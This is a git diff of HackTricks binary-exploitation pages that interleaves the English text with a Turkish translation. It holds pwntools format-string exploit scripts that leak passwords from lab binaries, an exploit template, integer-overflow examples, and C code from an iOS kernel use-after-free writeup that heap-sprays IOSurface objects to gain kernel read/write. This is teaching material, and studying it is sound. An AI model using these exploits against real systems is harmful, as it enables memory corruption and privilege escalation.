printf(buffer);
return 0;
}
```
Compile it with:
Bunu ile derleyin:
```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```
### Exploit
### Sömürü
```python
from pwn import *
@ -38,16 +33,14 @@ payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
```
- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address.
- I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141
- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before
- The address selected is 0x00400000 because it's where the binary starts (no PIE)
- **offset 11'dir** çünkü birkaç A ayarlamak ve **brute-forcing** ile 0'dan 50'ye kadar döngü ile yapılan testler, 11. offsette ve 5 ekstra karakterle (bizim durumumuzda `|` boruları) tam bir adresi kontrol etmenin mümkün olduğunu buldu.
- Adresin tamamının 0x4141414141414141 olması için **`%11$p`** kullandım ve padding ekledim.
- **format string yükü adresin ÖNÜNDEDİR** çünkü **printf bir null byte'ta okumayı durdurur**, bu nedenle adresi gönderirsek ve ardından format string'i gönderirsek, printf format string'e ulaşamaz çünkü bir null byte önce bulunacaktır.
- Seçilen adres 0x00400000'dır çünkü binary'nin başladığı yerdir (PIE yoktur).
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
## Read passwords
## Şifreleri oku
```c
#include <stdio.h>
#include <string.h>
@ -55,111 +48,103 @@ log.info(p.clean())
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
return 0;
}
```
Compile it with:
Bunu ile derleyin:
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
### Yığın'dan Okuma
### Read from stack
The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack:
**`stack_password`** yığında saklanacak çünkü bu bir yerel değişken, bu yüzden yığının içeriğini göstermek için printf'i kötüye kullanmak yeterlidir. Bu, yığından şifreleri sızdırmak için ilk 100 konumu BF'lemek için bir istismardır:
```python
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
In the image it's possible to see that we can leak the password from the stack in the `10th` position:
Görüntüde, `10.` pozisyondan yığını kullanarak şifreyi sızdırabileceğimiz görülmektedir:
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
### Read data
### Verileri oku
Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference:
Aynı istismarı `%s` yerine `%p` ile çalıştırarak, yığın üzerinden `%25$p` adresinde bir yığın adresi sızdırmak mümkündür. Ayrıca, sızdırılan adresi (`0xaaaab7030894`) o süreçte bellek içindeki şifrenin pozisyonu ile karşılaştırarak adresler arasındaki farkı elde edebiliriz:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability:
Artık, ikinci format dizesi zafiyetinden erişmek için yığında 1 adresi nasıl kontrol edeceğimizi bulma zamanı:
```python
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
```
And it's possible to see that in the **try 14** with the used passing we can control an address:
Ve kullanılan geçişle **try 14**'te bir adresi kontrol edebildiğimizi görebiliriz:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Exploit
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
@ -178,7 +163,6 @@ output = p.clean()
print(output)
p.close()
```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{{#include ../../banners/hacktricks-training.md}}

90
src/binary-exploitation/format-strings/format-strings-template.md
View File

@ -1,7 +1,6 @@
# Format Strings Template
{{#include ../../banners/hacktricks-training.md}}
```python
from pwn import *
from time import sleep
@ -36,23 +35,23 @@ print(" ====================== ")
def connect_binary():
global P, ELF_LOADED, ROP_LOADED
global P, ELF_LOADED, ROP_LOADED
if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets
#######################################
@ -60,39 +59,39 @@ def connect_binary():
#######################################
def send_payload(payload):
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload)
sleep(0.5)
return P.recv()
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload)
sleep(0.5)
return P.recv()
def get_formatstring_config():
global P
global P
for offset in range(1,1000):
connect_binary()
P.clean()
for offset in range(1,1000):
connect_binary()
P.clean()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
if b"41" in recieved:
for padlen in range(0,4):
if b"41414141" in recieved:
connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
print(recieved)
if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen
if b"41" in recieved:
for padlen in range(0,4):
if b"41414141" in recieved:
connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
print(recieved)
if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen
else:
connect_binary()
payload = b" " + payload
recieved = send_payload(payload).strip()
else:
connect_binary()
payload = b" " + payload
recieved = send_payload(payload).strip()
# In order to exploit a format string you need to find a position where part of your payload
@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}")
connect_binary()
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5)
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5)
format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
@ -141,5 +140,4 @@ format_string.execute_writes()
P.interactive()
```
{{#include ../../banners/hacktricks-training.md}}

108
src/binary-exploitation/integer-overflow.md
View File

@ -1,123 +1,115 @@
# Integer Overflow
# Tam Sayı Taşması
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data.
Bir **tam sayı taşması**nın merkezinde, bilgisayar programlamasındaki veri türlerinin **boyutu** ve verinin **yorumlanması** tarafından dayatılan sınırlama bulunmaktadır.
For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0.
Örneğin, bir **8-bit işaretsiz tam sayı** **0 ile 255** arasındaki değerleri temsil edebilir. Eğer 256 değerini bir 8-bit işaretsiz tam sayıya depolamaya çalışırsanız, depolama kapasitesinin sınırlılığı nedeniyle değer 0'a döner. Benzer şekilde, **0 ile 65,535** arasındaki değerleri tutabilen bir **16-bit işaretsiz tam sayı** için, 65,535'e 1 eklemek değeri tekrar 0'a döndürür.
Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`).
Ayrıca, bir **8-bit işaretli tam sayı** **-128 ile 127** arasındaki değerleri temsil edebilir. Bunun nedeni, bir bitin işareti (pozitif veya negatif) temsil etmek için kullanılmasıdır, bu da 7 bitin büyüklüğü temsil etmesine olanak tanır. En negatif sayı **-128** (ikili `10000000`) olarak, en pozitif sayı ise **127** (ikili `01111111`) olarak temsil edilir.
### Max values
### Maksimum değerler
For potential **web vulnerabilities** it's very interesting to know the maximum supported values:
Potansiyel **web güvenlik açıkları** için maksimum desteklenen değerleri bilmek oldukça ilginçtir:
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Examples
## Örnekler
### Pure overflow
The printed result will be 0 as we overflowed the char:
### Saf taşma
Yazdırılan sonuç 0 olacak çünkü char'ı taşırdık:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Signed to Unsigned Conversion
Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
Kullanıcı girdisinden okunan bir işaretli tam sayının, uygun bir doğrulama olmaksızın, işaretsiz bir tam sayı olarak ele alındığı bir durumu düşünün:
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
return 0;
}
```
Bu örnekte, bir kullanıcı negatif bir sayı girerse, bu sayı ikili değerlerin yorumlanma şekli nedeniyle büyük bir işaretsiz tam sayı olarak yorumlanacak ve beklenmedik davranışlara yol açabilir.
In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.
### Other Examples
### Diğer Örnekler
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
- Parolanın boyutunu saklamak için yalnızca 1B kullanıldığı için, bunu taşırmak ve uzunluğunun 4 olduğunu düşünmesini sağlamak mümkündür, oysa aslında 260'dır ve uzunluk kontrol korumasını atlatır.
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:&#x20;
- Birkaç sayı verildiğinde, z3 kullanarak ilk sayı ile çarpıldığında ikinci sayıyı veren yeni bir sayı bulun:&#x20;
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
- Parolanın boyutunu saklamak için yalnızca 1B kullanıldığı için, bunu taşırmak ve uzunluğunun 4 olduğunu düşünmesini sağlamak mümkündür, oysa aslında 260'dır ve uzunluk kontrol korumasını atlatır ve yığında bir sonraki yerel değişkeni üzerine yazarak her iki korumayı da atlatır.
## ARM64
This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
Bu **ARM64'te değişmez**; [**bu blog yazısında**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) görebilirsiniz.
{{#include ../banners/hacktricks-training.md}}

287
src/binary-exploitation/ios-exploiting.md
View File

@ -1,212 +1,203 @@
# iOS Exploiting
## Physical use-after-free
## Fiziksel kullanımdan sonra serbest bırakma
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
Bu, [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) adresindeki gönderiden bir özet olup, bu tekniği kullanarak yapılan exploit hakkında daha fazla bilgi [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) adresinde bulunabilir.
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
### XNU'da Bellek Yönetimi <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
iOS'taki kullanıcı süreçleri için **sanaldan bellek adres alanı** **0x0 ile 0x8000000000** arasında uzanır. Ancak, bu adresler doğrudan fiziksel belleğe karşılık gelmez. Bunun yerine, **kernel** sanal adresleri gerçek **fiziksel adreslere** çevirmek için **sayfa tabloları** kullanır.
#### Levels of Page Tables in iOS
#### iOS'taki Sayfa Tablolarının Seviyeleri
Page tables are organized hierarchically in three levels:
Sayfa tabloları üç seviyede hiyerarşik olarak düzenlenmiştir:
1. **L1 Page Table (Level 1)**:
* Each entry here represents a large range of virtual memory.
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
2. **L2 Page Table (Level 2)**:
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
* An L1 entry may point to an L2 table if it can't map the entire region itself.
3. **L3 Page Table (Level 3)**:
* This is the finest level, where each entry maps a single **4 KB** memory page.
* An L2 entry may point to an L3 table if more granular control is needed.
1. **L1 Sayfa Tablosu (Seviye 1)**:
* Buradaki her giriş, geniş bir sanal bellek aralığını temsil eder.
* **0x1000000000 bayt** (veya **256 GB**) sanal belleği kapsar.
2. **L2 Sayfa Tablosu (Seviye 2)**:
* Buradaki bir giriş, daha küçük bir sanal bellek bölgesini, özellikle **0x2000000 bayt** (32 MB) temsil eder.
* Bir L1 girişi, tüm bölgeyi kendisi haritalayamıyorsa bir L2 tablosuna işaret edebilir.
3. **L3 Sayfa Tablosu (Seviye 3)**:
* Bu en ince seviyedir; her giriş tek bir **4 KB** bellek sayfasını haritalar.
* Daha ayrıntılı kontrol gerekiyorsa, bir L2 girişi bir L3 tablosuna işaret edebilir.
#### Mapping Virtual to Physical Memory
#### Sanal Belleği Fiziksel Belleğe Haritalama
* **Direct Mapping (Block Mapping)**:
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
* **Pointer to Child Page Table**:
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
* **Doğrudan Haritalama (Blok Haritalama)**:
* Bir sayfa tablosundaki bazı girişler, bir dizi sanal adresi kesintisiz bir fiziksel adres aralığına doğrudan **haritalar** (kısa yol gibi).
* **Çocuk Sayfa Tablosuna İşaretçi**:
* Daha ince kontrol gerekiyorsa, bir seviyedeki (örneğin, L1) bir giriş, bir sonraki seviyedeki (örneğin, L2) bir **çocuk sayfa tablosuna** işaret edebilir.
#### Example: Mapping a Virtual Address
#### Örnek: Sanal Bir Adresi Haritalama
Let’s say you try to access the virtual address **0x1000000000**:
Diyelim ki sanal adres **0x1000000000**'e erişmeye çalışıyorsunuz:
1. **L1 Table**:
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
2. **L2 Table**:
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
3. **L3 Table**:
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
1. **L1 Tablosu**:
* Kernel, bu sanal adrese karşılık gelen L1 sayfa tablosu girişini kontrol eder. Eğer bir **L2 sayfa tablosuna işaretçi** varsa, o L2 tablosuna gider.
2. **L2 Tablosu**:
* Kernel, daha ayrıntılı bir haritalama için L2 sayfa tablosunu kontrol eder. Eğer bu giriş bir **L3 sayfa tablosuna** işaret ediyorsa, oraya devam eder.
3. **L3 Tablosu**:
* Kernel, gerçek bellek sayfasının **fiziksel adresine** işaret eden son L3 girişini arar.
#### Example of Address Mapping
#### Adres Haritalama Örneği
If you write the physical address **0x800004000** into the first index of the L2 table, then:
Eğer fiziksel adres **0x800004000**'i L2 tablosunun ilk indeksine yazarsanız, o zaman:
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
* This is a **block mapping** at the L2 level.
* **0x1000000000** ile **0x1002000000** arasındaki sanal adresler, **0x800004000** ile **0x802004000** arasındaki fiziksel adreslere haritalanır.
* Bu, L2 seviyesinde bir **blok haritalama**dır.
Alternatively, if the L2 entry points to an L3 table:
Alternatif olarak, eğer L2 girişi bir L3 tablosuna işaret ediyorsa:
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
* **0x1000000000 -> 0x1002000000** sanal adres aralığındaki her 4 KB sayfa, L3 tablosundaki bireysel girişler tarafından haritalanır.
### Physical use-after-free
### Fiziksel Kullanımdan Sonra Serbest Bırakma
A **physical use-after-free** (UAF) occurs when:
Bir **fiziksel kullanımdan sonra serbest bırakma** (UAF) durumu, şu durumlarda meydana gelir:
1. A process **allocates** some memory as **readable and writable**.
2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
3. The process **deallocates** (frees) the memory.
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory.
1. Bir süreç bazı belleği **okunabilir ve yazılabilir** olarak **ayırır**.
2. **Sayfa tabloları**, bu belleği erişebileceği belirli bir fiziksel adrese haritalamak için güncellenir.
3. Süreç belleği **serbest bırakır** (boşaltır).
4. Ancak, bir **hata** nedeniyle, kernel **haritalamayı** sayfa tablosundan kaldırmayı unutur, oysa ilgili fiziksel belleği serbest olarak işaretler.
5. Kernel, bu "serbest bırakılmış" fiziksel belleği, **kernel verileri** gibi diğer amaçlar için **yeniden tahsis edebilir**.
6. Haritalama kaldırılmadığı için, süreç bu fiziksel belleğe hala **okuma ve yazma** yapabilir.
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
Bu, sürecin **kernel belleği** sayfalarına erişebilmesi anlamına gelir; bu sayfalar hassas veriler veya yapılar içerebilir ve potansiyel olarak bir saldırganın **kernel belleğini manipüle etmesine** olanak tanır.
### Exploitation Strategy: Heap Spray
### Sömürü Stratejisi: Heap Spray
Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
Saldırgan, hangi belirli kernel sayfalarının serbest bırakılmış belleğe tahsis edileceğini kontrol edemediğinden, **heap spray** adı verilen bir teknik kullanır:
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
1. Saldırgan, kernel belleğinde **birçok IOSurface nesnesi** oluşturur.
2. Her IOSurface nesnesi, kolayca tanımlanabilmesi için bir alanında **sihirli bir değer** içerir.
3. Serbest bırakılmış sayfaları **tarar** ve bu IOSurface nesnelerinden herhangi birinin serbest bırakılmış bir sayfaya düşüp düşmediğini kontrol eder.
4. Serbest bırakılmış bir sayfada bir IOSurface nesnesi bulduklarında, bunu **kernel belleğini okumak ve yazmak** için kullanabilirler.
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
Bu konuda daha fazla bilgi [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) adresinde bulunmaktadır.
### Step-by-Step Heap Spray Process
### Adım Adım Heap Spray Süreci
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
* Use one field to **read any 32-bit value** in kernel memory.
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
1. **IOSurface Nesnelerini Spray Et**: Saldırgan, özel bir tanımlayıcı ("sihirli değer") ile birçok IOSurface nesnesi oluşturur.
2. **Serbest Sayfaları Tara**: Bu nesnelerin serbest bırakılmış bir sayfada tahsis edilip edilmediğini kontrol ederler.
3. **Kernel Belleğini Oku/Yaz**: IOSurface nesnesindeki alanları manipüle ederek, kernel belleğinde **rastgele okuma ve yazma** yapma yeteneği kazanırlar. Bu, onlara:
* Kernel belleğindeki herhangi bir 32 bit değeri **okuma** yeteneği sağlar.
* 64 bit değerleri **yazma** yeteneği sağlar ve bu da istikrarlı bir **kernel okuma/yazma ilkesine** ulaşmalarını sağlar.
Sihirli değer IOSURFACE_MAGIC ile IOSurface nesneleri oluşturun ve daha sonra aramak için:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Search for **`IOSurface`** objects in one freed physical page:
Serbest bırakılmış bir fiziksel sayfada **`IOSurface`** nesnelerini arayın:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### IOSurface ile Kernel Okuma/Yazma Elde Etme
### Achieving Kernel Read/Write with IOSurface
Kernel belleğinde bir IOSurface nesnesi üzerinde kontrol sağladıktan sonra (kullanıcı alanından erişilebilen serbest bırakılmış bir fiziksel sayfaya eşlenmiş), bunu **rastgele kernel okuma ve yazma işlemleri** için kullanabiliriz.
After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**.
**IOSurface'daki Anahtar Alanlar**
